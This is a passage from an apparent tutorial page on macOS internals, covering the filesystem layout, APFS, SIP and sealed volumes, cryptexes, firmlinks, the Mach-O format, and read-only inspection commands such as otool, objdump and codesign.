  <li><strong><code class="language-plaintext highlighter-rouge">/bin, /usr/bin</code></strong>: Contains essential user-executable binaries like shell commands and utilities.</li>
  <li><strong><code class="language-plaintext highlighter-rouge">/sbin, /usr/sbin</code></strong>: Holds system administration binaries essential for system maintenance and operations.</li>
  <li><strong><code class="language-plaintext highlighter-rouge">/usr/lib</code></strong>: Stores dynamic libraries (.dylibs) that provide functionality for multiple applications.</li>
  <li><strong><code class="language-plaintext highlighter-rouge">/tmp</code></strong>: A temporary directory, cleared at reboot, with a sticky bit set to prevent deletion of files by non-owners.</li>
  <li><strong><code class="language-plaintext highlighter-rouge">/var</code></strong>: Includes logs, configuration files, and user-specific temporary files. Root’s home directory is <code class="language-plaintext highlighter-rouge">/var/root</code>.</li>
</ul>

<h4 id="macos-directories">macOS Directories</h4>
<ul>
  <li><strong><code class="language-plaintext highlighter-rouge">/Applications</code></strong>: Standard location for user-installed applications accessible to all users.</li>
  <li><strong><code class="language-plaintext highlighter-rouge">/System</code></strong>: Contains macOS’s core components, like system files and libraries, protected by System Integrity Protection (SIP).</li>
  <li><strong><code class="language-plaintext highlighter-rouge">/Users</code></strong>: Home directories for all users, with personal files, settings, and documents.</li>
  <li><strong><code class="language-plaintext highlighter-rouge">/Library</code></strong>: Stores system-wide application support files and libraries.</li>
  <li><strong><code class="language-plaintext highlighter-rouge">/System/Applications</code> and <code class="language-plaintext highlighter-rouge">/System/Cryptexes/App/System/Applications</code></strong>: Host core system applications, with certain apps in a secure cryptex for added security.</li>
</ul>

<h4 id="launch-agents-and-daemons">Launch Agents and Daemons</h4>
<ul>
  <li><strong><code class="language-plaintext highlighter-rouge">/System/Library/LaunchDaemons</code>, <code class="language-plaintext highlighter-rouge">/System/Library/LaunchAgents</code></strong>: System-level agents and daemons that execute automatically.</li>
  <li><strong><code class="language-plaintext highlighter-rouge">/Library/LaunchDaemons</code>, <code class="language-plaintext highlighter-rouge">/Library/LaunchAgents</code></strong>: For third-party daemons and agents that run at startup or login.</li>
  <li><strong><code class="language-plaintext highlighter-rouge">~/Library/LaunchAgents</code></strong>: User-specific agents that auto-run at user login.</li>
</ul>

<h4 id="application-data-and-support">Application Data and Support</h4>
<ul>
  <li><strong><code class="language-plaintext highlighter-rouge">/Library/Application Support</code></strong>: Contains application support files and data for applications running as root.</li>
  <li><strong><code class="language-plaintext highlighter-rouge">~/Library/Application Support</code></strong>: User-specific application support files and data.</li>
  <li><strong><code class="language-plaintext highlighter-rouge">~/Library/Containers</code></strong>: Sandboxed applications are stored here, with strict filesystem access limitations.</li>
</ul>

<h4 id="frameworks-and-extensions">Frameworks and Extensions</h4>
<ul>
  <li><strong><code class="language-plaintext highlighter-rouge">/System/Library/Frameworks</code>, <code class="language-plaintext highlighter-rouge">/System/Cryptexes/OS/System/Library/Frameworks</code></strong>: Home to system frameworks used by applications.</li>
  <li><strong><code class="language-plaintext highlighter-rouge">/System/Library/PrivateFrameworks</code>, <code class="language-plaintext highlighter-rouge">/System/Cryptexes/OS/System/Library/PrivateFrameworks</code></strong>: Contains private frameworks not for public use, restricted from Mac App Store applications.</li>
  <li><strong><code class="language-plaintext highlighter-rouge">/Library/Extensions</code>, <code class="language-plaintext highlighter-rouge">/System/Library/Extensions</code></strong>: Locations for kernel extensions (KEXTs), including third-party extensions.</li>
</ul>

<h4 id="special-and-security-directories">Special and Security Directories</h4>
<ul>
  <li><strong><code class="language-plaintext highlighter-rouge">/Library/PrivilegedHelperTools</code></strong>: Where third-party daemons that need root privileges reside.</li>
  <li><strong><code class="language-plaintext highlighter-rouge">/usr/bin</code>, <code class="language-plaintext highlighter-rouge">/usr/sbin</code>, <code class="language-plaintext highlighter-rouge">/bin</code>, <code class="language-plaintext highlighter-rouge">/sbin</code></strong>: Core system binaries for both user commands and system administration.</li>
  <li><strong><code class="language-plaintext highlighter-rouge">/private</code></strong>: Contains sensitive directories such as <code class="language-plaintext highlighter-rouge">/private/etc</code>, <code class="language-plaintext highlighter-rouge">/private/var</code>, and <code class="language-plaintext highlighter-rouge">/private/tmp</code> that manage configuration, variable data, and temporary files.</li>
</ul>

<h4 id="kernel-and-kernel-extensions">Kernel and Kernel Extensions</h4>
<ul>
  <li><strong><code class="language-plaintext highlighter-rouge">/System/Library/Kernels/kernel</code></strong>: The location of the macOS kernel.</li>
  <li><strong><code class="language-plaintext highlighter-rouge">/System/Library/Extensions</code>, <code class="language-plaintext highlighter-rouge">/System/Cryptexes/OS/System/Library/Extensions</code></strong>: Directories for Apple’s kernel extensions.</li>
</ul>

<h2 id="apple-properity-file-system-apfs">Apple Properity File System (APFS)</h2>
<p>The Apple File System (<code class="language-plaintext highlighter-rouge">APFS</code>) is an advanced file system introduced by Apple with macOS High Sierra in 2017. It was designed to replace the older Hierarchical File System Plus (<code class="language-plaintext highlighter-rouge">HFS+</code>) to better accommodate the modern storage technologies and to enhance performance, reliability, and scalability. <code class="language-plaintext highlighter-rouge">APFS</code> operates on the concept of containers and volumes. A single <code class="language-plaintext highlighter-rouge">APFS</code> container can house multiple volumes that share the container’s free space. Volumes under <code class="language-plaintext highlighter-rouge">APFS</code> are flexible and can grow and shrink dynamically, unlike traditional partitions. This adaptability is crucial for devices with limited storage capacities like mobile devices.</p>

<ul>
  <li><strong>Check disk:</strong></li>
</ul>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>diskutil list
</code></pre></div></div>

<ul>
  <li><strong>Output:</strong></li>
</ul>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>/dev/disk0 (internal, physical):
   #:                       TYPE NAME                    SIZE       IDENTIFIER
   0:      GUID_partition_scheme                        *500.3 GB   disk0
   1:                        EFI EFI                     209.7 MB   disk0s1
   2:                 Apple_APFS Container disk1         500.1 GB   disk0s2

/dev/disk1 (synthesized):
   #:                       TYPE NAME                    SIZE       IDENTIFIER
   0:      APFS Container Scheme -                      +500.1 GB   disk1
                                 Physical Store disk0s2
   1:                APFS Volume Macintosh HD            250.4 GB   disk1s1
   2:                APFS Volume Preboot                 20.5 MB    disk1s2
   3:                APFS Volume Recovery                1.0 GB     disk1s3
   4:                APFS Volume VM                      20.5 GB    disk1s4
</code></pre></div></div>
<ul>
  <li><strong><code class="language-plaintext highlighter-rouge">/dev/disk0</code></strong>: This represents the physical disk. <code class="language-plaintext highlighter-rouge">disk0</code> is usually the primary hard drive.
    <ul>
      <li><code class="language-plaintext highlighter-rouge">GUID_partition_scheme</code>: The partition layout used, suitable for both Intel-based and ARM-based Macs.</li>
      <li><code class="language-plaintext highlighter-rouge">EFI</code>: A small partition that contains boot files.</li>
      <li><code class="language-plaintext highlighter-rouge">Apple_APFS Container disk1</code>: An <code class="language-plaintext highlighter-rouge">APFS</code> container that spans nearly the entire disk.</li>
    </ul>
  </li>
  <li><strong><code class="language-plaintext highlighter-rouge">/dev/disk1</code> (synthesized)</strong>: This is the <code class="language-plaintext highlighter-rouge">APFS</code> container synthesized view, showing volumes within the container.
    <ul>
      <li><code class="language-plaintext highlighter-rouge">APFS Container Scheme</code>: Shows that <code class="language-plaintext highlighter-rouge">disk1</code> is an APFS container.</li>
      <li><code class="language-plaintext highlighter-rouge">Physical Store disk0s2</code>: Indicates that this container is located on <code class="language-plaintext highlighter-rouge">disk0s2</code>.</li>
      <li><code class="language-plaintext highlighter-rouge">APFS</code> Volumes (<code class="language-plaintext highlighter-rouge">Macintosh HD</code>, <code class="language-plaintext highlighter-rouge">Preboot</code>, <code class="language-plaintext highlighter-rouge">Recovery</code>, <code class="language-plaintext highlighter-rouge">VM</code>): These are logical volumes within the <code class="language-plaintext highlighter-rouge">APFS</code> container, each serving different purposes like system storage, boot management, system recovery, and virtual memory respectively.</li>
    </ul>
  </li>
</ul>

<h2 id="system-volume-protection">System Volume Protection</h2>
<p><code class="language-plaintext highlighter-rouge">macOS</code> leverages several robust mechanisms to safeguard its core system files, primarily through System Integrity Protection (<code class="language-plaintext highlighter-rouge">SIP</code>), also known as rootless mode. <code class="language-plaintext highlighter-rouge">SIP</code>’s primary function is to prevent modifications to crucial system files and directories, even by the superuser (root).</p>

<h3 id="system-volume-protections-in-macos">System Volume Protections in macOS</h3>

<p>macOS employs robust mechanisms like System Integrity Protection (SIP), also known as rootless mode, to protect its core system files. SIP’s primary role is to prevent unauthorized modifications to critical system files and directories, even by the superuser (root).</p>

<h5 id="using-ls-with-sip-protection-flags">Using <code class="language-plaintext highlighter-rouge">ls</code> with SIP Protection Flags</h5>

<p>Using the <code class="language-plaintext highlighter-rouge">ls -lO</code> command can reveal which directories are protected by SIP:</p>

<ul>
  <li><strong>Check directories are protected by SIP:</strong></li>
  <li>
    <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>user@mac ~ % <span class="nb">ls</span> <span class="nt">-lO</span> /
</code></pre></div>    </div>
  </li>
</ul>

<p><strong>Output:</strong></p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>total 0
drwx------  10 root  wheel  restricted,hidden 320 Oct 18 05:36 System
drwxr-xr-x  39 root  wheel  restricted,hidden 1248 Oct 18 05:36 bin
drwxr-xr-x  65 root  wheel  sunlnk            2080 Dec  2 03:26 Library
drwxr-xr-x  14 root  admin  sunlnk             448 Dec  5 08:28 Applications
drwxr-xr-x   5 root  admin  sunlnk             160 Dec  2 02:40 Users
drwxr-xr-x   4 root  wheel  hidden             128 Dec 12 03:34 Volumes
</code></pre></div></div>

<p>The <code class="language-plaintext highlighter-rouge">restricted</code> flag denotes that the directory is protected under SIP, preventing any modifications. The <code class="language-plaintext highlighter-rouge">sunlnk</code> and <code class="language-plaintext highlighter-rouge">hidden</code> flags indicate directories with special attributes but not necessarily SIP protection.</p>

<h5 id="using-diskutil-to-explore-apfs-configurations">Using <code class="language-plaintext highlighter-rouge">diskutil</code> to Explore APFS Configurations</h5>

<p><strong>Command:</strong></p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>diskutil apfs list
</code></pre></div></div>

<p><strong>Output:</strong></p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>APFS Container <span class="o">(</span>1 found<span class="o">)</span>
|
+-- Container disk1
    APFS Container Reference:     disk1
    Size <span class="o">(</span>Capacity Ceiling<span class="o">)</span>:      500 GB
    Capacity In Use By Volumes:   150 GB <span class="o">(</span>30% used<span class="o">)</span>
    Capacity Not Allocated:       350 GB <span class="o">(</span>70% free<span class="o">)</span>
    |
    +-&gt; Volume disk1s1
        Name:                      Macintosh HD - Data
        Role:                      Data
        Mount Point:               /System/Volumes/Data
        Capacity Consumed:         100 GB
        FileVault:                 No
    |
    +-&gt; Volume disk1s2
        Name:                      Preboot
        Role:                      Preboot
        Mount Point:               /System/Volumes/Preboot
        Capacity Consumed:         2 GB
    |
    +-&gt; Volume disk1s4
        Name:                      Macintosh HD
        Role:                      System
        Mount Point:               Not Mounted
        Capacity Consumed:         11 GB
        Sealed:                    Yes
</code></pre></div></div>

<ul>
  <li><strong>Data Volume</strong>: User-accessible files, non-critical system files.</li>
  <li><strong>System Volume</strong>: Core system files, not mounted directly but</li>
</ul>

<h4 id="verifying-system-integrity-and-cryptographic-seals">Verifying System Integrity and Cryptographic Seals</h4>
<p>macOS further secures system integrity through cryptographic seals, which can be checked using <code class="language-plaintext highlighter-rouge">csrutil</code>:</p>

<p><strong>Command:</strong></p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>csrutil authenticated-root status
</code></pre></div></div>

<p><strong>Output:</strong></p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Authenticated Root status: enabled
</code></pre></div></div>

<p>This confirms that the system’s root volume is cryptographically authenticated, ensuring that the core system files are untouched and secure from alterations.</p>

<h4 id="mounted-file-system-attributes">Mounted File System Attributes</h4>

<p><strong>Command:</strong></p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>user@mac ~ % mount
</code></pre></div></div>

<p><strong>Output:</strong></p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>/dev/disk1s4s1 on / (apfs, sealed, local, read-only, journaled)
devfs on /dev (devfs, local, nobrowse)
/dev/disk1s2 on /System/Volumes/Preboot (apfs, local, journaled, nobrowse)
/dev/disk1s6 on /System/Volumes/VM (apfs, local, noexec, journaled, noatime, nobrowse)
/dev/disk1s5 on /System/Volumes/Update (apfs, local, journaled, nobrowse)
/dev/disk1s1 on /System/Volumes/Data (apfs, local, journaled, nobrowse)
map auto_home on /System/Volumes/Data/home (autofs, automounted, nobrowse)
.host:/VMware Shared Folders on /Volumes/VMware Shared Folders (vmhgfs)
</code></pre></div></div>

<ul>
  <li><strong>Sealed</strong>: The system volume is cryptographically sealed to prevent tampering.</li>
  <li><strong>Read-only</strong>: The root volume is mounted as read-only to ensure no changes can be made during normal operation, reinforcing its integrity.</li>
  <li><strong>Journaled</strong>: This attribute helps protect the integrity of the file system by keeping a continuous log (journal) that tracks changes to the file system.</li>
</ul>

<h4 id="cryptexes-cryptographically-sealed-extensions">Cryptexes: CRYPTographically-sealed EXtensions</h4>

<p>Introduced in macOS Ventura, <code class="language-plaintext highlighter-rouge">Cryptexes</code> represent a novel approach to handling system updates and security <code class="language-plaintext highlighter-rouge">Cryptexes</code> are signed disk images that contain system files or applications and can be updated independently of the system.</p>

<p><strong>Command Checking Cryptexes:</strong></p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>user@mac ~ % <span class="nb">ls</span> <span class="nt">-l</span> /System/Cryptexes
</code></pre></div></div>

<p><strong>Output:</strong></p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>lrwxr-xr-x  1 root  wheel  42 Oct 18 05:36 App -&gt; ../../System/Volumes/Preboot/Cryptexes/App
lrwxr-xr-x@ 1 root  wheel  41 Oct 18 05:36 OS -&gt; ../../System/Volumes/Preboot/Cryptexes/OS
</code></pre></div></div>

<p>These links show that <code class="language-plaintext highlighter-rouge">Cryptexes</code> are not traditionally mounted within the regular file system structure visible to the user, highlighting their specialized role and enhanced security measures.</p>

<h2 id="firmlinks">Firmlinks</h2>

<p><code class="language-plaintext highlighter-rouge">Firmlinks</code> are a special type of symbolic link used by macOS to seamlessly integrate the read-only system volume with the writable data volume. This allows the operating system to maintain a clear separation between system files (which need to be protected from modifications to ensure system integrity) and user data (which needs to be freely writable by the user).</p>

<ul>
  <li>Check Firmlinks:</li>
</ul>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>cat /usr/share/firmlinks
</code></pre></div></div>
<ul>
  <li>Output
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>/AppleInternal	AppleInternal
/Applications	Applications
/Library	Library
/System/Library/Caches	System/Library/Caches
/System/Library/Assets	System/Library/Assets
/System/Library/PreinstalledAssets	System/Library/PreinstalledAssets
/System/Library/AssetsV2	System/Library/AssetsV2
/System/Library/PreinstalledAssetsV2	System/Library/PreinstalledAssetsV2
/System/Library/CoreServices/CoreTypes.bundle/Contents/Library	System/Library/CoreServices/CoreTypes.bundle/Contents/Library
/System/Library/Speech	System/Library/Speech
/Users	Users
/Volumes	Volumes
/cores	cores
/opt	opt
/private	private
/usr/local	usr/local
/usr/libexec/cups	usr/libexec/cups
/usr/share/snmp	usr/share/snmp
</code></pre></div>    </div>
  </li>
</ul>

<p>On the left is the directory path on the System volume, and on the right, Is the directory path where it maps on the Data volume.</p>

<ul>
  <li>Confirm directory with <code class="language-plaintext highlighter-rouge">inode</code>:</li>
</ul>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>On System volume
ls -li /System/Volumes/Data/usr/

18524916 drwxr-xr-x  4 root  wheel  128 Feb  5 16:51 local
inode -&gt; 18524916
On the data volume
ls -li /usr

18524916 drwxr-xr-x    4 root  wheel    128 Feb  5 16:51 local
inode -&gt; 18524916
</code></pre></div></div>

<h2 id="plist-files">PLIST Files</h2>

<p>Convert Binary <code class="language-plaintext highlighter-rouge">plist</code>:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Convert to xml
plutil -convert xml1 ~/your_plist_binary -o -

Convert to json
plutil -convert json ~/Library/Preferences/com.apple.screensaver.plist -o -

Convert to swift
plutil -convert swift ~/Library/Preferences/com.apple.screensaver.plist -o -

Convert to objective-c
plutil -convert objc ~/Library/Preferences/com.apple.screensaver.plist -o -
</code></pre></div></div>

<h2 id="bundles">Bundles</h2>

<p>Bundles are <code class="language-plaintext highlighter-rouge">.app</code> bundle, but many other executables are also packaged as bundles, such as <code class="language-plaintext highlighter-rouge">.framework</code> and <code class="language-plaintext highlighter-rouge">.systemextension</code>.</p>

<h2 id="dyld">Dyld</h2>

<p>Extract <code class="language-plaintext highlighter-rouge">dyld-cache</code>:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>dyld-shared-cache-extractor /System/Volumes/Preboot/Cryptexes/OS/System/Library/dyld/dyld_shared_cache_{arch} /tmp/libraries
</code></pre></div></div>

<h1 id="mach-o-file-format">Mach-O File Format</h1>

<p>The main 3 parts of <code class="language-plaintext highlighter-rouge">Mach-o</code> Fiel format:</p>

<p><img width="434" height="384" alt="image" src="https://github.com/user-attachments/assets/424e9014-2df2-4d81-8c32-b46c1bb6c1ed" /></p>

<h2 id="introduction-1">Introduction</h2>

<p>The <code class="language-plaintext highlighter-rouge">Mach-O</code> file format is the native executable format for <code class="language-plaintext highlighter-rouge">macOS</code> and <code class="language-plaintext highlighter-rouge">iOS</code> operating systems. Standing for Mach Object, the <code class="language-plaintext highlighter-rouge">Mach-O</code> format supports executable files, shared libraries, dynamically-loaded libraries, and object code for <code class="language-plaintext highlighter-rouge">macOS</code>. The design of this file format is heavily influenced by its focus on performance and the compatibility with the Mach kernel, which is part of the <code class="language-plaintext highlighter-rouge">XNU</code> kernel that powers Apple’s operating systems.</p>

<ul>
  <li>Check File:</li>
</ul>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>zeyad@azima% file /bin/pwd
/bin/pwd: Mach-O universal binary with 2 architectures: [x86_64:Mach-O 64-bit executable x86_64] [arm64e:Mach-O 64-bit executable arm64e]
/bin/pwd (for architecture x86_64):	Mach-O 64-bit executable x86_64
/bin/pwd (for architecture arm64e):	Mach-O 64-bit executable arm64e
</code></pre></div></div>

<h2 id="universal-binaries">Universal Binaries</h2>

<p>Universal binaries, also known as <code class="language-plaintext highlighter-rouge">fat</code> binaries, are unique to the <code class="language-plaintext highlighter-rouge">Mach-O </code>format. These binaries contain code for multiple architectures (like <code class="language-plaintext highlighter-rouge">x86_64</code> and <code class="language-plaintext highlighter-rouge">ARM</code>) in a single file. This capability allows developers to build applications that can run on different types of hardware without the need for separate executables. The structure of a universal binary is essentially a container that includes multiple <code class="language-plaintext highlighter-rouge">Mach-O</code> files, each optimized for a specific processor architecture.</p>

<h2 id="mach-o-header">Mach-O Header</h2>

<p>The Mach-O header is the starting point of any <code class="language-plaintext highlighter-rouge">Mach-O</code> file. It contains essential metadata about the file, such as the type of file (<code class="language-plaintext highlighter-rouge">executable</code>, <code class="language-plaintext highlighter-rouge">object file</code>, <code class="language-plaintext highlighter-rouge">shared library</code>), its architecture (<code class="language-plaintext highlighter-rouge">ARM</code>, <code class="language-plaintext highlighter-rouge">x86_64</code>, etc.), and the number of load commands. The header plays a crucial role in how the operating system processes and handles the <code class="language-plaintext highlighter-rouge">Mach-O</code> file during loading and execution.
Dump the <code class="language-plaintext highlighter-rouge">Mach-O</code> Header information using <code class="language-plaintext highlighter-rouge">otool</code></p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>otool -arch {x86_64/arm64e} -hv /path_to_binary
</code></pre></div></div>

<h2 id="mach-o-load-command">Mach-O LOAD Command</h2>

<p>Load commands within a <code class="language-plaintext highlighter-rouge">Mach-O</code> file instruct the loader on how to map the file’s contents into memory. These commands are vital for the dynamic linker to resolve symbols and connect dynamic libraries at runtime. Typical load commands include specifying the entry point of the executable, required dynamic libraries, and segment information such as the location and permissions of different sections of the file, There are around <code class="language-plaintext highlighter-rouge">50</code> type of load commands, But the most common ones:</p>

<ol>
  <li>
    <p><strong>LC_SEGMENT_64</strong>: This command is used to define a segment of memory that includes one or more sections. Each segment can contain executable code, data, or other resources needed by the executable or library. This command is specifically for <code class="language-plaintext highlighter-rouge">64-bit</code> architectures.</p>
  </li>
  <li>
    <p><strong>LC_LOAD_DYLINKER</strong>: This command specifies the dynamic linker (<code class="language-plaintext highlighter-rouge">dyld</code>) that the system uses to load and link the shared libraries required by the executable at runtime. This is essential for resolving the dynamic dependencies of the application.</p>
  </li>
  <li>
    <p><strong>LC_MAIN</strong>: Introduced with the newer <code class="language-plaintext highlighter-rouge">Mach-O</code> file formats, this command points to the entry point of the main function, replacing the older entry point mechanism used in earlier versions. It specifies where the execution of the program begins.</p>
  </li>
  <li>
    <p><strong>LC_LOAD_DYLIB</strong>: This command provides the paths to the dynamic libraries (<code class="language-plaintext highlighter-rouge">dylibs</code>) that the executable depends on. These libraries are loaded by the dynamic linker during the execution of the application.</p>
  </li>
  <li>
    <p><strong>LC_CODE_SIGNATURE</strong>: This command contains the offset and size of the code signature used by the operating system to verify the integrity and origin of the code in the Mach-O file. This is crucial for security purposes, ensuring that the code has not been tampered with.</p>
  </li>
</ol>

<ul>
  <li>Dump load command with <code class="language-plaintext highlighter-rouge">otool</code>:</li>
</ul>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>otool -lv /path_to_binary
</code></pre></div></div>

<ul>
  <li>Dump libraries in <code class="language-plaintext highlighter-rouge">LC_LOAD_DYLINKER</code>:</li>
</ul>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>otool -L /path_to_binary
</code></pre></div></div>

<h2 id="mach-o-data">Mach-O Data</h2>

<p>The data in <code class="language-plaintext highlighter-rouge">Mach-O</code> files is organized into segments and sections. Segments are larger chunks of data with specific roles, like containing internal &amp; external functions information, symbol table, executable code or read-only data. Each segment can be further divided into sections that hold smaller, more specific blocks of data. This hierarchical structure allows for efficient data management and access, crucial for performance during execution.</p>

<ul>
  <li>Dump all segments and sections using <code class="language-plaintext highlighter-rouge">otool</code>:</li>
</ul>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>otool -m /path_to_binary
</code></pre></div></div>

<ul>
  <li>Example:</li>
</ul>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Segment __PAGEZERO: 4294967296 (zero fill) 
Segment __TEXT: 32768
	Section __text: 15384
	Section __auth_stubs: 1344
	Section __const: 212
	Section __cstring: 1268
	Section __unwind_info: 212
	total 18420
Segment __DATA_CONST: 16384
	Section __auth_got: 672
	Section __got: 48
	Section __const: 616
	total 1336
Segment __DATA: 16384
	Section __data: 32
	Section __common: 176 (zerofill)
	Section __bss: 336 (zerofill)
	total 544
Segment __LINKEDIT: 32768
total 4295065600
</code></pre></div></div>

<p>The <code class="language-plaintext highlighter-rouge">__PAGEZERO</code> segment plays a crucial role in security. It sets up a memory area called the zero page at the very start of the address space for each process, but it makes this page completely unusable. The memory protection settings for this page are set to zero, meaning nothing can be read from, written to, or executed on this page. This design helps prevent security flaws, specifically <code class="language-plaintext highlighter-rouge">NULL pointer dereference</code> vulnerabilities, by ensuring that any attempt to access this low memory area will lead to an error, rather than allowing potentially harmful operations.</p>

<h3 id="explaining">Explaining</h3>

<table>
  <thead>
    <tr>
      <th>Segment</th>
      <th>Size (Bytes)</th>
      <th>Description</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>__PAGEZERO</td>
      <td>4294967296</td>
      <td>A zero-fill segment that protects against NULL pointer dereferences.</td>
    </tr>
    <tr>
      <td>__TEXT</td>
      <td>32768</td>
      <td>Contains executable code and read-only data.</td>
    </tr>
    <tr>
      <td>&gt; __text</td>
      <td>15384</td>
      <td>The main body of executable code.</td>
    </tr>
    <tr>
      <td>&gt; __auth_stubs</td>
      <td>1344</td>
      <td>Stubs for authenticated pointers (part of code signing).</td>
    </tr>
    <tr>
      <td>&gt; __const</td>
      <td>212</td>
      <td>Read-only data constants.</td>
    </tr>
    <tr>
      <td>&gt; __cstring</td>
      <td>1268</td>
      <td>String literals, stored in a read-only section.</td>
    </tr>
    <tr>
      <td>&gt; __unwind_info</td>
      <td>212</td>
      <td>Information for stack unwinding during exceptions.</td>
    </tr>
    <tr>
      <td>__DATA_CONST</td>
      <td>16384</td>
      <td>Read-only data that was originally in the __DATA segment.</td>
    </tr>
    <tr>
      <td>&gt; __auth_got</td>
      <td>672</td>
      <td>Authenticated pointers’ global offset table.</td>
    </tr>
    <tr>
      <td>&gt; __got</td>
      <td>48</td>
      <td>Non-authenticated global offset table for dynamic linking.</td>
    </tr>
    <tr>
      <td>&gt; __const</td>
      <td>616</td>
      <td>Constants that are now placed in a read-only section for security.</td>
    </tr>
    <tr>
      <td>__DATA</td>
      <td>16384</td>
      <td>Contains mutable data accessed during execution.</td>
    </tr>
    <tr>
      <td>&gt; __data</td>
      <td>32</td>
      <td>Modifiable data used by the program.</td>
    </tr>
    <tr>
      <td>&gt; __common</td>
      <td>176</td>
      <td>Uninitialized data (zero-filled) used for global variables.</td>
    </tr>
    <tr>
      <td>&gt; __bss</td>
      <td>336</td>
      <td>Uninitialized data that does not occupy space in the file (zero-fill).</td>
    </tr>
    <tr>
      <td>__LINKEDIT</td>
      <td>32768</td>
      <td>Contains raw data like symbol tables and string tables for dynamic linking.</td>
    </tr>
  </tbody>
</table>

<h1 id="macos-binary-static-analysis">MacOS Binary Static Analysis</h1>

<h2 id="codesign">Codesign</h2>

<table>
  <thead>
    <tr>
      <th>Command</th>
      <th>Example Usage</th>
      <th>Explanation</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><strong><code class="language-plaintext highlighter-rouge">codesign -d</code></strong></td>
      <td><code class="language-plaintext highlighter-rouge">codesign -d /Applications/Automator.app</code></td>
      <td>Displays the code signature of the application. Useful for checking basic signature details without any modifications or verbose details.</td>
    </tr>
    <tr>
      <td><strong><code class="language-plaintext highlighter-rouge">codesign -dv</code></strong></td>
      <td><code class="language-plaintext highlighter-rouge">codesign -dv /System/Applications/Automator.app</code></td>
      <td>Displays the code signature with verbose information about the application. It provides more detailed insights into the signed application including platform identifiers and signature sizes.</td>
    </tr>
    <tr>
      <td><strong><code class="language-plaintext highlighter-rouge">codesign -dvv</code></strong></td>
      <td><code class="language-plaintext highlighter-rouge">codesign -dvv /System/Applications/Automator.app</code></td>
      <td>Increases the verbosity level further, showing even more detailed information like the authorities under which the app was signed.</td>
    </tr>
    <tr>
      <td><strong><code class="language-plaintext highlighter-rouge">codesign -d --entitlements :-</code></strong></td>
      <td><code class="language-plaintext highlighter-rouge">codesign -d --entitlements :- /System/Applications/Automator.app</code></td>
      <td>Displays the entitlements in a human-readable XML format. This is crucial for understanding what permissions the application has on a macOS system.</td>
    </tr>
  </tbody>
</table>

<h2 id="objdump">Objdump</h2>

<table>
  <thead>
    <tr>
      <th>Command</th>
      <th>Example Usage</th>
      <th>Explanation</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><strong><code class="language-plaintext highlighter-rouge">objdump -m</code></strong></td>
      <td><code class="language-plaintext highlighter-rouge">objdump -m /path/to/binary</code></td>
      <td>Instructs <code class="language-plaintext highlighter-rouge">objdump</code> to parse the file as a Mach-O file. Use this when you need to analyze Mach-O formatted files specifically.</td>
    </tr>
    <tr>
      <td><strong><code class="language-plaintext highlighter-rouge">objdump --dylibs-used</code></strong></td>
      <td><code class="language-plaintext highlighter-rouge">objdump --dylibs-used /path/to/binary</code></td>
      <td>Lists the dynamic libraries (dylibs) that the binary depends on. Useful for understanding external dependencies of an executable or library.</td>
    </tr>
    <tr>
      <td><strong><code class="language-plaintext highlighter-rouge">objdump -h</code></strong></td>
      <td><code class="language-plaintext highlighter-rouge">objdump -h /path/to/binary</code></td>
      <td>Displays the headers of the sections of the Mach-O file. Use this to see detailed information about each section in the file, such as its size and address.</td>
    </tr>
    <tr>
      <td><strong><code class="language-plaintext highlighter-rouge">objdump --syms</code></strong></td>
      <td><code class="language-plaintext highlighter-rouge">objdump --syms /path/to/binary</code></td>
      <td>Displays the symbol table of the binary. This is useful for seeing all the symbols used in the file, including functions and variables, which can help with debugging and reverse engineering efforts.</td>
    </tr>
    <tr>
      <td><strong><code class="language-plaintext highlighter-rouge">objdump --disassemble</code></strong></td>
      <td><code class="language-plaintext highlighter-rouge">objdump --disassemble /path/to/binary</code></td>
      <td>Disassembles the executable sections of the binary. Use this command when you need to analyze the assembly code within the binary for a deeper understanding of its operation.</td>
    </tr>
    <tr>
      <td><strong><code class="language-plaintext highlighter-rouge">objdump --full-contents</code></strong></td>
      <td><code class="language-plaintext highlighter-rouge">objdump --full-contents /path/to/section</code></td>
      <td>Dumps the raw contents of specified sections. This is particularly useful when you need to inspect the actual data or code within a section of the binary.</td>
    </tr>
    <tr>
      <td><strong><code class="language-plaintext highlighter-rouge">objdump --section-headers</code></strong></td>
      <td><code class="language-plaintext highlighter-rouge">objdump --section-headers /path/to/binary</code></td>
      <td>Displays information about the header of each section in the binary. Useful for a quick overview of the section layout and characteristics.</td>
    </tr>
    <tr>
      <td><strong><code class="language-plaintext highlighter-rouge">objdump --disassemble-functions=function_name --x86-asm-syntax=intel/att</code></strong></td>
      <td><code class="language-plaintext highlighter-rouge">objdump --disassemble-functions=_main --x86-asm-syntax=intel/att /path/to/binary</code></td>
      <td>Disassembles a specific function within the binary. Useful when focusing on particular pieces of code for detailed analysis or debugging.</td>
    </tr>
  </tbody>
